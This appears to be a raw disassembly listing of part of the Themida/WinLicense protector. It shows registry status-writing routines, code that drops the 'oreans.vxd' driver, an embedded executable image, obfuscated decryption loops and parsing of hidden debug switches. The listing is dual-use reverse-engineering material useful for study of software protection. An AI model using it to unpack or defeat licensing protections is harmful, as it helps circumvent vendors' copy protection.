10E89315h, 4E000000h, 0BF724BEDh, 0C21AE6Ah dd 0F53FA171h, 0F08E885h, 683h, 0F525000h, 59585A31h, 0D6809350h dd 89D0FFE7h, 0E41FF5B5h, 48E0F07h, 66000000h, 4088D2BFh dd 14D850Fh, 0BA580000h, 47A06E26h, 52505090h, 5E8h, 68633C00h dd 0F591DF7h, 0AE931h, 0A7CA0000h, 0D04EE4ECh, 6B3BF6B0h dd 505F585Ah, 0DC461FBEh, 6A9033h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0B4C3D5C3h, 0F7B741Ah dd 681h, 89853100h, 6A07E403h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BC64727h dd 7AA668D7h, 34815C3Eh, 3E7A2624h, 25BD8B5Ch, 6A07E420h dd 0A52EBE03h, 6A7D92h, 89036AFCh, 0E41C4D95h, 71106807h dd 50BF5A8Fh, 813FD562h, 8EF02404h, 8D236570h, 7E40401h dd 0DC9F9D8Dh, 0BD8907E6h, 7E40E59h, 840F5393h, 6, 310F5250h dd 505F585Ah, 66525057h, 0F5E14BFh, 5A5A5731h, 6A935F58h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 4C86C352h, 0CC0F2077h, 8AD843D8h, 0F0B70FD7h dd 11E9D0FFh, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h dd 59694915h, 20850F40h, 60000000h, 15D1858Bh, 953107E4h dd 7E409A5h, 618D8B61h, 5807E423h, 152E9h, 0FD8D0100h dd 8B07E409h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0D1C1DF1Bh, 6FD0733Ah, 0C0BA664Bh dd 6A585Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 60D229C3h, 0C3AC2D3Bh, 2C2D85C6h, 8B4307E4h dd 0E4002595h, 0BC086807h, 0FE8CAC0h, 1000000h, 0B063842Ch dd 75FE2723h, 57C8762Dh, 52500BBBh, 0C414BA66h, 8B66310Fh dd 5A585AF0h, 0AF243481h, 600AB6F6h, 14DD9589h, 860F07E4h dd 6, 19B5BD8Bh, 0FF6107E4h, 0E4019DB5h, 7E907h, 5CFA0000h dd 43F9DB61h, 0DC858D8Bh, 2907E43Bh, 0E422418Dh, 6AD0FF07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7199C350h, 93A6E404h, 38E0Fh, 8B660000h dd 29B250F9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 1A732439h, 8E95759h, 15000000h, 0F3275EFBh dd 5F2D1F9Dh, 7333CE81h, 0D0FF266Eh, 2B35B529h, 9D8D07E4h dd 7E472B7h, 88D0Fh, 880F0000h, 2, 1B88CB5h, 8B000000h dd 0FFF18AF1h, 11B58BE3h, 8B07E40Ah, 0C08BF5C1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5CC35040h, 32D4162Ah dd 0C9604BBh, 0D6C281FCh, 837567C9h, 0E413F1BDh, 9750007h dd 935BD83h, 740007E4h, 8B535019h, 40FB8C0h, 85890000h dd 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h dd 50177400h, 40FB853h, 85890000h, 7E40EEDh, 0E6F89D8Dh dd 0D3FF07E6h, 9503585Bh, 7E41EF9h, 9159D89h, 8D8B07E4h dd 7E41CFDh, 10E8C08Bh, 0E5000000h, 0FE6AAF83h, 8CF035C2h dd 2B74CA20h, 8ABB048Eh, 12E95FC1h, 39000000h, 1C479D2Bh dd 8102D994h, 897B9476h, 2B551838h, 0ECC781C9h, 8B000071h dd 1C47BAF0h, 8D310000h, 7E41A35h, 8D8B37FFh, 7E4218Dh dd 850F505Bh, 6, 25D98D8Bh, 815907E4h, 73EE08C3h, 12E93Fh dd 9F050000h, 92163012h, 0C2979A10h, 0DFA00514h, 0E762B7Ch dd 0ADFCF381h, 0EA8A7E8Bh, 40EDEB81h, 0C18B0BEFh, 0BD891F89h dd 7E42489h, 0F04EF83h, 48Eh, 0BBE6600h, 1EA8354h, 25850Fh dd 9E90000h, 73000000h, 2C57A32Ah, 8F6AD602h, 22E9h, 8A53C000h dd 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 896B2314h, 0E405F9BDh dd 0FF6EE907h, 0BBA4FFFFh ; --------------------------------------------------------------------------- xchg dl, bh inc edi loc_5B08FF: ; DATA XREF: Themida_:00584914o jmp loc_5B09AE ; --------------------------------------------------------------------------- aSoftwareWinlic db 'Software\WinLicense',0 aCheckin db 'CheckIN',0 aXprotexit db 'XprotExit',0 aCheckout db 'CheckOUT',0 aWinlicensevers db 'WinLicenseVersion',0 aWinlicensedriv db 'WinLicenseDriverVersion',0 aWinlicenseinst db 'WinLicenseInstance',0 aExitok db 'ExitOk',0 aProcin db 'ProcIN',0 aProcout db 'ProcOUT',0 aExitin db 'ExitIN',0 aExitout db 'ExitOUT',0 aTpin db 'TpIN',0 align 4 dd 2 dup(0) dd 0B9080000h, 0D5BB77DEh db 0DFh, 77h ; --------------------------------------------------------------------------- loc_5B09AE: ; CODE XREF: Themida_:loc_5B08FFj jmp loc_5B0F49 ; --------------------------------------------------------------------------- mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 19h push dword ptr [ebp+7E6E513h] push 1 push 0 lea eax, [ebp+7E6E4A8h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] retn ; --------------------------------------------------------------------------- mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4D2h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] retn ; --------------------------------------------------------------------------- mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4BAh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] retn ; --------------------------------------------------------------------------- mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4E5h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] retn ; --------------------------------------------------------------------------- mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E495h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E4169Dh], 0 jz locret_5B0B82 mov ebx, [ebp+7E4169Dh] add ebx, 4Ch mov [ebx], eax locret_5B0B82: ; CODE XREF: Themida_:005B0B71j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E4169Dh], 0 jz locret_5B0B9B mov ebx, [ebp+7E4169Dh] add ebx, 50h mov [ebx], eax locret_5B0B9B: ; CODE XREF: Themida_:005B0B8Aj retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E4169Dh], 0 jz locret_5B0BB4 mov ebx, [ebp+7E4169Dh] add ebx, 54h mov [ebx], eax locret_5B0BB4: ; CODE XREF: Themida_:005B0BA3j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E4169Dh], 0 jz locret_5B0BCD mov ebx, [ebp+7E4169Dh] add ebx, 58h mov [ebx], eax locret_5B0BCD: ; CODE XREF: Themida_:005B0BBCj retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E4169Dh], 0 jz locret_5B0BE6 mov ebx, [ebp+7E4169Dh] add ebx, 5Ch mov [ebx], eax locret_5B0BE6: ; CODE XREF: Themida_:005B0BD5j retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E50Ah] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0C41 push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0C41: ; CODE XREF: Themida_:005B0C2Fj push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4ECh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0CA8 push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0CA8: ; CODE XREF: Themida_:005B0C96j push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4F3h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0D0F push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0D0F: ; CODE XREF: Themida_:005B0CFDj push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E4FBh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0D76 push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0D76: ; CODE XREF: Themida_:005B0D64j push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E502h] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0DDD push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0DDD: ; CODE XREF: Themida_:005B0DCBj push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov dword ptr [ebp+7E6E513h], 1 lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000002h call dword ptr [ebp+7E6E51Fh] or eax, eax jz loc_5B0E26 mov dword ptr [ebp+7E6E513h], 0 jmp loc_5B0E73 ; --------------------------------------------------------------------------- loc_5B0E26: ; CODE XREF: Themida_:005B0E11j push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E48Dh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] or eax, eax jz loc_5B0E5D mov dword ptr [ebp+7E6E513h], 0 jmp loc_5B0E67 ; --------------------------------------------------------------------------- loc_5B0E5D: ; CODE XREF: Themida_:005B0E48j mov dword ptr [ebp+7E6E513h], 1 loc_5B0E67: ; CODE XREF: Themida_:005B0E58j push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] loc_5B0E73: ; CODE XREF: Themida_:005B0E21j popa mov eax, [ebp+7E6E513h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E48Dh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0ED4 push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0ED4: ; CODE XREF: Themida_:005B0EC2j push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7E6E513h], eax lea eax, [ebp+7E6E50Fh] push eax lea eax, [ebp+7E6E479h] push eax push 80000001h call dword ptr [ebp+7E6E51Fh] push 4 lea eax, [ebp+7E6E513h] push eax push 4 push 0 lea eax, [ebp+7E6E49Fh] push eax push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42565h] cmp dword ptr [ebp+7E413F1h], 0 jz loc_5B0F3B push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E6E51Bh] loc_5B0F3B: ; CODE XREF: Themida_:005B0F29j push dword ptr [ebp+7E6E50Fh] call dword ptr [ebp+7E42135h] popa retn ; --------------------------------------------------------------------------- loc_5B0F49: ; CODE XREF: Themida_:loc_5B09AEj mov byte ptr [ebp+7E42C2Dh], 52h push 0ADE47B07h push dword ptr [ebp+7E40DE1h] call dword ptr [ebp+7E41E39h] mov [ebp+7E6E51Fh], eax mov byte ptr [ebp+7E42C2Dh], 52h push 902E00E5h push dword ptr [ebp+7E40DE1h] call dword ptr [ebp+7E41E39h] mov [ebp+7E6E51Bh], eax mov byte ptr [ebp+7E42C2Dh], 52h push 0B9BF1235h push dword ptr [ebp+7E40DE1h] call dword ptr [ebp+7E41E39h] mov [ebp+7E42565h], eax mov byte ptr [ebp+7E42C2Dh], 52h push 98781034h push dword ptr [ebp+7E40DE1h] call dword ptr [ebp+7E41E39h] mov [ebp+7E42135h], eax mov byte ptr [ebp+7E42C2Dh], 52h push 0C005DBD4h push dword ptr [ebp+7E40DE1h] call dword ptr [ebp+7E41E39h] mov [ebp+7E401F9h], eax jmp loc_5B11F2 ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 10h dd 67h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B11F2: ; CODE XREF: Themida_:005B0FDFj jmp loc_5B12E6 ; --------------------------------------------------------------------------- mov byte ptr [ebp+7E42C2Dh], 47h push 0E3E45B86h push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E43BDCh] call eax push 104h lea ebx, [ebp+7E416BDh] push ebx call eax push eax lea esi, [ebp+7E6ED51h] mov edi, esi xor al, al loc_5B122A: ; CODE XREF: Themida_:005B122Bj scasb jnz loc_5B122A sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+7E42C2Dh], 43h push 0BC8E6EFCh push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E43BDCh] call eax lea esi, [ebp+7E416BDh] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+7E42C2Dh], 57h push 0A69BEE56h push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E43BDCh] call eax lea edi, [ebp+7E40135h] lea ecx, [ebp+7E6EE77h] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5B12C8 lea esi, [ebp+7E6EB59h] lea eax, [ebp+7E6DBD6h] call eax lea ecx, [ebp+7E472B7h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5B12C8: ; CODE XREF: Themida_:005B12A7j mov byte ptr [ebp+7E42C2Dh], 43h push 0C0764AA7h push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E43BDCh] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_5B12E6: ; CODE XREF: Themida_:loc_5B11F2j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5B12FD ; --------------------------------------------------------------------------- mov eax, ebx loc_5B12FD: ; CODE XREF: Themida_:005B12F6j jmp loc_5B4AD2 ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h db 73h, 52h a2vsr3vsr db '2vsR3vsR',0 ; DATA XREF: Themida_:0058249Co align 4 dd 9C2h dup(0) db 2 dup(0) word_5B4A5E dw 0 ; CODE XREF: Themida_:005B4AD9j dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B4AD2: ; CODE XREF: Themida_:loc_5B12FDj call sub_5B4AEB inc edx push ds jno short near ptr word_5B4A5E ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- mov ds:54D1D316h, eax inc ebp enter 6F5Ch, 0F5h xor eax, 2025D009h ; =============== S U B R O U T I N E ======================================= sub_5B4AEB proc near ; CODE XREF: Themida_:loc_5B4AD2p and dx, 8FF5h pop ecx mov esi, 68AC3A33h add ecx, 6402h mov si, 438Ch sub eax, eax mov dh, 0 loc_5B4B04: ; CODE XREF: Themida_:005B4B5Ej push dword ptr [eax+ecx] adc dl, 3Fh pop edi call near ptr loc_5B4B18+1 dec edx xchg eax, edx cmp al, 5 fsub st, st(2) jnb short near ptr loc_5B4B2B+5 loc_5B4B18: ; CODE XREF: sub_5B4AEB+20p mov byte ptr [ebx-387EA50Fh], 32h sub_5B4AEB endp ; sp-analysis failed imul ebx, [ecx], 81F78B07h not dword ptr [ebp+660B8D1Ah] loc_5B4B2B: ; CODE XREF: sub_5B4AEB+2Bj sbb ebx, 0F7817398h add eax, 0F959E8DDh mov [ecx+eax], edi mov bx, 29D1h add dx, 0DC1Ch sub eax, 2 jmp loc_5B4B52 ; --------------------------------------------------------------------------- retf 3B65h ; --------------------------------------------------------------------------- db 0B0h, 4Bh, 0D7h db 0F2h, 2 ; --------------------------------------------------------------------------- loc_5B4B52: ; CODE XREF: Themida_:005B4B45j dec eax dec eax mov si, 6CA5h cmp eax, 0FFFF9CB0h jnz loc_5B4B04 call sub_5B4B7B loc_5B4B69: ; DATA XREF: Themida_:005826D0o ; Themida_:00582C4Co ... xor cl, dl out dx, al fadd dword ptr [ebp+3DF8319Dh] popa jmp far ptr 6570h:0A636EBAFh ; --------------------------------------------------------------------------- db 29h ; =============== S U B R O U T I N E ======================================= sub_5B4B7B proc near ; CODE XREF: Themida_:005B4B64p ; FUNCTION CHUNK AT 005B4FA1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005B6076 SIZE 000000E2 BYTES push esi jmp loc_5B4B8B ; --------------------------------------------------------------------------- sub dh, cl or dword ptr [esi+3AFCFF4Ch], 0FFFFFFF0h pop ebx loc_5B4B8B: ; CODE XREF: sub_5B4B7B+1j pop ebx pop ebx jmp loc_5B4C2B ; --------------------------------------------------------------------------- dw 622Fh aUgcheck2 db 'ugcheck2',0 aBugcheck db '/bugcheck',0 aForcerun db '/forcerun',0 aBugcheckfull db '/bugcheckfull',0 aShowcode db '/showcode',0 aShowcode2 db '/showcode2',0 aClrt db '/clrt',0 aDis1 db '/dis1',0 aShowinstance db '/showinstance',0 aGetwlstatus db '/getwlstatus',0 aLogstatus db '/logstatus',0 aDumpstatus db '/dumpstatus',0 align 4 dd 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B4C2B: ; CODE XREF: sub_5B4B7B+12j cmp dword ptr [ebp+7E72787h], 0 jz loc_5B4C42 mov dword ptr [ebp+7E40935h], 1 loc_5B4C42: ; CODE XREF: sub_5B4B7B+B7j mov byte ptr [ebp+7E42C2Dh], 47h push 0C6DF2DB1h xor dword ptr [esp+0], 56B2413Ch push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E43BDCh] call eax call eax mov edi, eax cmp byte ptr [edi], 22h jnz loc_5B4C92 inc edi mov al, 22h loc_5B4C73: ; CODE XREF: sub_5B4B7B+F9j scasb jnz loc_5B4C73 cmp byte ptr [edi], 0 jz loc_5B4FA1 inc edi cmp byte ptr [edi], 0 jz loc_5B4FA1 jmp loc_5B4CB0 ; --------------------------------------------------------------------------- loc_5B4C92: ; CODE XREF: sub_5B4B7B+EFj ; sub_5B4B7B+130j cmp byte ptr [edi], 0 jz loc_5B4FA1 cmp byte ptr [edi], 20h jnz loc_5B4CAA inc edi jmp loc_5B4CB0 ; --------------------------------------------------------------------------- loc_5B4CAA: ; CODE XREF: sub_5B4B7B+123j inc edi jmp loc_5B4C92 ; --------------------------------------------------------------------------- loc_5B4CB0: ; CODE XREF: sub_5B4B7B+112j ; sub_5B4B7B+12Aj ... cmp byte ptr [edi], 0 jnz loc_5B4CBE jmp loc_5B4FA1 ; --------------------------------------------------------------------------- loc_5B4CBE: ; CODE XREF: sub_5B4B7B+138j jmp loc_5B4CC4 ; --------------------------------------------------------------------------- loc_5B4CC3: ; CODE XREF: sub_5B4B7B+14Cj inc edi loc_5B4CC4: ; CODE XREF: sub_5B4B7B:loc_5B4CBEj cmp byte ptr [edi], 20h jz loc_5B4CC3 cmp byte ptr [edi], 0 jnz loc_5B4CDB jmp loc_5B4FA1 ; --------------------------------------------------------------------------- loc_5B4CDB: ; CODE XREF: sub_5B4B7B+155j call sub_5B4CEA jmp loc_5B4CB0 sub_5B4B7B endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_5B4FA1 ; =============== S U B R O U T I N E ======================================= sub_5B4CEA proc near ; CODE XREF: sub_5B4B7B:loc_5B4CDBp lea esi, [ebp+7E72707h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4D13 mov dword ptr [ebp+7E413F1h], 1 retn ; --------------------------------------------------------------------------- loc_5B4D13: ; CODE XREF: sub_5B4CEA+18j lea esi, [ebp+7E72712h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4D3C mov dword ptr [ebp+7E40935h], 1 retn ; --------------------------------------------------------------------------- loc_5B4D3C: ; CODE XREF: sub_5B4CEA+41j lea esi, [ebp+7E7278Bh] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4D65 mov dword ptr [ebp+7E41289h], 1 retn ; --------------------------------------------------------------------------- loc_5B4D65: ; CODE XREF: sub_5B4CEA+6Aj lea esi, [ebp+7E7271Ch] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4D8E mov dword ptr [ebp+7E40935h], 1 retn ; --------------------------------------------------------------------------- loc_5B4D8E: ; CODE XREF: sub_5B4CEA+93j lea esi, [ebp+7E72726h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4DC1 mov dword ptr [ebp+7E40935h], 1 mov dword ptr [ebp+7E413F1h], 1 retn ; --------------------------------------------------------------------------- loc_5B4DC1: ; CODE XREF: sub_5B4CEA+BCj lea esi, [ebp+7E72734h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4DE9 mov dword ptr [ebp+7E42D7Dh], 1 loc_5B4DE9: ; CODE XREF: sub_5B4CEA+EFj lea esi, [ebp+7E7273Eh] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4E11 mov dword ptr [ebp+7E42D7Dh], 1 loc_5B4E11: ; CODE XREF: sub_5B4CEA+117j lea esi, [ebp+7E72749h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4E39 mov dword ptr [ebp+7E42611h], 1 loc_5B4E39: ; CODE XREF: sub_5B4CEA+13Fj lea esi, [ebp+7E7274Fh] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4E61 mov dword ptr [ebp+7E4005Dh], 1 loc_5B4E61: ; CODE XREF: sub_5B4CEA+167j lea esi, [ebp+7E72755h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4E89 mov dword ptr [ebp+7E42EE5h], 1 loc_5B4E89: ; CODE XREF: sub_5B4CEA+18Fj lea esi, [ebp+7E72763h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4EB1 mov dword ptr [ebp+7E42419h], 1 loc_5B4EB1: ; CODE XREF: sub_5B4CEA+1B7j lea esi, [ebp+7E72770h] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4ED9 mov dword ptr [ebp+7E40ECDh], 1 loc_5B4ED9: ; CODE XREF: sub_5B4CEA+1DFj lea esi, [ebp+7E7277Bh] call sub_5B4F1A add edi, [ebp+7E7279Ch] cmp dword ptr [ebp+7E7279Ch], 0 jz loc_5B4F01 mov dword ptr [ebp+7E41F25h], 1 loc_5B4F01: ; CODE XREF: sub_5B4CEA+207j jmp loc_5B4F07 ; --------------------------------------------------------------------------- loc_5B4F06: ; CODE XREF: sub_5B4CEA+229j inc edi loc_5B4F07: ; CODE XREF: sub_5B4CEA:loc_5B4F01j cmp byte ptr [edi], 20h jz locret_5B4F19 cmp byte ptr [edi], 0 jnz loc_5B4F06 locret_5B4F19: ; CODE XREF: sub_5B4CEA+220j retn sub_5B4CEA endp ; =============== S U B R O U T I N E ======================================= sub_5B4F1A proc near ; CODE XREF: sub_5B4CEA+6p ; sub_5B4CEA+2Fp ... pusha mov ecx, 1 mov ebx, esi jmp loc_5B4F46 ; --------------------------------------------------------------------------- loc_5B4F27: ; CODE XREF: sub_5B4F1A+37j cmp byte ptr [edi], 0 jnz loc_5B4F35 mov ecx, 0 